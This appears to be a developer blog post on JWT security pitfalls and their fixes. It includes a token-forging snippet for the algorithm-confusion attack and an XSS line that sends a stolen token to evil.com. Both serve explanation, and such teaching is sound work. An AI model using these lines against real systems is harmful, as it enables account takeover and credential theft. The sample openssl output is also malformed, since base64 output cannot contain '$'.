JWT Security Best Practices: Common Vulnerabilities

May 27, 20266 min read

Why JWT Security Matters

JSON Web Tokens are widely used for authentication — and widely misused. A compromised JWT can grant an attacker full access to user accounts, API endpoints, and sensitive data. Unlike session-based auth, a JWT is self-contained: once issued, it remains valid until it expires, unless you actively revoke it.

This makes securing JWTs fundamentally different from securing sessions. A stolen session ID becomes useless the moment the server destroys the session. A stolen JWT remains valid for its entire lifetime.

Vulnerability 1: Algorithm Confusion Attack

This is the most dangerous JWT vulnerability — and the easiest to exploit.

How It Works

  1. A server issues JWTs signed with RS256 (asymmetric — private key signs, public key verifies)
  2. An attacker changes the header alg to HS256 (symmetric — same secret signs and verifies)
  3. The attacker signs the token using the public key as the HMAC secret
  4. The server, trusting the alg header, switches to HMAC verification and uses the public key as the secret
  5. The signature matches — the attacker's forged token is accepted
// Attacker crafts a malicious token
const forgedHeader = { alg: "HS256", typ: "JWT" };
const forgedPayload = { sub: "admin", role: "superuser" };
// Signs with the publicly available RSA public key as HMAC secret
const signature = HMACSHA256(
  base64UrlEncode(forgedHeader) + "." + base64UrlEncode(forgedPayload),
  publicKey  // Public key is... public
);

Prevention

  • Always enforce the expected algorithm server-side. Never trust the alg claim from the token.
  • If you use RS256, explicitly verify that alg === "RS256" before processing.
  • Libraries like python-jose, jjwt, and node-jose provide options to restrict allowed algorithms.
// Bad: trusts the alg from the token
jwt.verify(token, publicKey);

// Good: enforces the expected algorithm
jwt.verify(token, publicKey, { algorithms: ["RS256"] });

Vulnerability 2: Weak Secret Keys

HMAC-based JWTs (HS256, HS384, HS512) are only as strong as the secret used to sign them.

The Problem

Many developers use short, guessable secrets:

// Dangerously weak secrets
const secret = "secret";
const secret = "my-app-key";
const secret = "password123";

Attackers can crack these with brute-force or dictionary attacks in seconds using tools like jwt-cracker or hashcat.

Prevention

  • Use at least 256 bits (32 bytes) of cryptographically random data for HS256
  • Generate secrets with a secure random generator — never use human-readable strings
# Generate a strong secret with OpenSSL
openssl rand -base64 32
# Output: xJ3k9$mN2pQ7vR1wY5tA8bC4dF6gH0iL
  • Rotate secrets periodically — if a secret leaks, every token signed with it is compromised
  • Consider RS256 or ES256 instead of HS256 for production systems

Vulnerability 3: Insecure Token Storage

Where you store JWTs on the client determines how easily an attacker can steal them.

localStorage: A Common and Dangerous Choice

// NEVER do this in production
localStorage.setItem('token', jwt);

Why it's dangerous: Any XSS vulnerability — in your code or a third-party script — can read localStorage and exfiltrate the token.

// An attacker injects this via XSS
const stolen = localStorage.getItem('token');
fetch('https://evil.com/steal?token=' + stolen);

Store JWTs in HttpOnly, Secure, SameSite cookies:

FlagWhat It Does
HttpOnlyJavaScript cannot access the cookie — blocks XSS theft
SecureCookie only sent over HTTPS — blocks network interception
SameSite=Strict (or Lax)Cookie not sent on cross-origin requests — blocks CSRF
Set-Cookie: token=eyJhbG...; HttpOnly; Secure; SameSite=Strict; Path=/; Max-Age=3600

CSRF Protection for Cookies

Cookies are vulnerable to CSRF attacks. Pair them with a CSRF token:

  1. Server sends a CSRF token in the response body
  2. Client includes the CSRF token in a custom header (e.g., X-CSRF-Token)
  3. Server verifies both the cookie JWT and the CSRF header

Vulnerability 4: Missing or Excessive Token Expiration

No Expiration

A JWT without an exp claim never expires. If it's stolen, the attacker has persistent access.

{
  "sub": "user123",
  "role": "admin"
}

Expiration Too Long

A 30-day token lifetime means a stolen token is valid for 30 days — far too long for sensitive applications.

Best Practices

  • Access tokens: 5–15 minutes
  • Refresh tokens: 7–30 days, stored securely and rotated
  • Always include the exp claim
  • Validate exp server-side — never rely on the client to check expiration
{
  "sub": "user123",
  "iat": 1516239022,
  "exp": 1516239322
}

Vulnerability 5: Token Leakage in URLs

JWTs sometimes travel in URL query parameters:

https://api.example.com/data?token=eyJhbG...

Problems:

  • Tokens appear in server access logs
  • Tokens appear in browser history
  • Tokens appear in Referer headers when navigating to external sites
  • Tokens can be copied and shared accidentally

Prevention

  • Send tokens in the Authorization header instead
  • Use cookies for browser-based applications
  • Never put JWTs in URLs
// Good: send via header
fetch('/api/data', {
  headers: { 'Authorization': `Bearer ${token}` }
});

Token Refresh and Rotation Strategies

Access + Refresh Token Pattern

Use two tokens with different lifetimes and purposes:

TokenLifetimePurposeStorage
Access Token5–15 minAuthorize API requestsMemory (or HttpOnly cookie)
Refresh Token7–30 daysObtain new access tokensHttpOnly cookie only

Refresh Token Rotation

Every time a refresh token is used, issue a new refresh token and invalidate the old one:

1. Client sends refresh token A
2. Server validates A → issues access token + refresh token B
3. Server invalidates A
4. If token A is used again → possible theft detected → revoke all tokens for that user

This limits the window of exploitation and provides theft detection.

Token Revocation

JWTs are stateless by design, which makes revocation hard. Practical solutions:

  • Short access token lifetimes: The simplest approach — compromised tokens expire quickly
  • Token blacklist: Store revoked token IDs (jti) in a fast store like Redis
  • User-level revocation: Store a token version per user; increment it to revoke all existing tokens

Security Checklist

CheckStatus
Algorithm is enforced server-side, not read from the token
HMAC secrets are at least 256 bits and randomly generated
Tokens are stored in HttpOnly cookies, not localStorage
exp claim is set and validated server-side
Access tokens expire in 15 minutes or less
Refresh tokens are rotated on each use
Tokens are never placed in URLs
aud and iss claims are validated
CSRF protection is in place when using cookies
A revocation strategy exists for emergencies

Try It Yourself

Inspect your JWTs for security issues using our free JWT Decoder. Check the algorithm, claims, and expiration — all decoded locally in your browser with zero data sent to any server.